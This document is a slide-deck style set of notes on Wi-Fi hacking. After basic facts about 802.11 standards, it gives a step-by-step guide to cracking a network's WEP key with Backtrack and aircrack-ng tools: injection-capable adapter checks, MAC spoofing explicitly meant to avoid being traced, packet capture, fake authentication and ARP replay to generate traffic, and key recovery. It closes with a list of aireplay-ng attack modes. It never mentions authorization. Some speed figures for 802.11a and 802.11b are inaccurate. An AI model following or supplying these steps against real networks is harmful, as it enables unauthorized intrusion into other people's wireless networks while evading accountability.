The document explains Wi-Fi technology, detailing its frequency bands, advantages, and disadvantages. It provides a step-by-step guide on cracking WEP keys using Backtrack, outlining the necessary prerequisites and commands for network exploitation. Additionally, it lists various filter options and attack modes relevant to Wi-Fi hacking.

1. SKYNET SECURE SOLUTIONS NOTES
FOR
Wi-Fi Hacking
By Kashif Memon

2. WHAT is Wi-Fi?
 Stands for Wireless Fidelity
 Uses 2.4 – 5 GHz Band in the frequency spectrum
 Allows data to be exchanged WIRELESSLY
 Uses Radio Waves
 Defined as “WLAN products that are based on the IEEE
802.11 standards”
 In 2004, Mysore became India's first Wi-fi-enabled city
and second in the world after Jerusalem.

3. Advantages
 Cheaper
 Less complexity (mainly caused due to wires)
 Fast Connectivity
 Secure with new WPA2 method

4. Disadvantages
 Require a Wi-Fi adapter (Obviously)
 Slower data transfer when the range is low
 Obstructions may cause disconnections
 WEP pass code is easily CRACKABLE. !

5. Wi-Fi is called as “802.11 Standard”
 Flavors of 802.11 :
 802.11a operates on the 5GHz spectrum providing a speed of
20 Mbps
 802.11b operates on the 2.4GHz spectrum providing a speed of
11.4 Mbps
 802.11g operates on the 2.4GHz spectrum providing blazingly
fast speeds
 802.11n is a new technology

6. Do YoU KnOw !?
 Prerequisites:
1. Compatible wireless adapter
2. Backtrack 3 over advanced (USB boot or Llive CD)
3. WEP Enabled WiFi network
4. Knowledge on Channel, BSSID, ESSID, Mac ID

7. LeTs GeT cRaCkInG!
1. To crack the WEP key, first boot into Backtrack and
use the Text Mode or Default Mode, Load the GUI
using “startx”
2. One imp. thing is to know adapter your laptop has
whether or not it has the capability to inject
payloads or not. So we use airmon-ng to list all
the interfaces

8. KeEp It CoMiNg …
3. Now first we stop the interface we want to use
using airmon-ng stop (intf).
4. To CONFIRM, the interface is down, use ifconfig
(intf) down.
5. Now prevent being tracked back, we fake our Mac
ID using macchanger --mac (hex)(intf)

9. FaStEr NoW … C’mOn 
6. Now we finally start the interface using airmon-
ng start (intf)
7. Now its time to find the network and exploit it so
use airodump-ng (intf) to find the BSSID of the
network - Basic Service Set Identifier and Channel
8. Now with the following cmd, we try to capture the
traffic on the network and using that traffic to crack
the WEP key airodump-ng (intf) -c (ch) -w
(intf) --bssid (bssid)

10. YoUr NeArLy DoNe !
9. [In a NEW CONSOLE] Here we try to virtually
increase the traffic by sending garbage data over
the network and forcing the router to reply and
with the help of that, we try to break the WEP key
aireplay-ng -1 0 -a (bssid) -h (mac) -e (essid)
(intf) and then aireplay-ng -3 -b (bssid) -h
(mac) (intf)
10. Now wait patiently till the #Data goes above 10K (
Recommended)

11. SuCcEsSfUl??!
11. Use ls to list the files on the desktop which are
actually the files where the traffic is being logged
12. Now finally use aircrack to use the IV’s to crack the
WEP using aircrack-ng -b (bssid) Wifi-01.cap
Now to understand the commands here is the extra
information -> Next Slide :D

12. Filter options: Attack Modes:
 -b bssid : MAC address, Access Point
 -d dmac : MAC address, Destination
 -s smac : MAC address, Source
 -m len : minimum packet length
 -n len : maximum packet length
 -u type : frame control, type field
 -v subt : frame control, subtype field
 -t tods : frame control, To DS bit
 -f fromds : frame control, From DS bit
 -w iswep : frame control, WEP bit
 -deauthenticate 1 or all stations
(-0)
 -fake authentication with AP (-
1)
 -interactive frame selection (-2)
 -standard ARP-request replay
(-3)
 -decrypt/chopchop WEP
packet (-4)
 -generates valid keystream (-5)
 -injection test (-9)
aireplay-ng <options> <replay interface>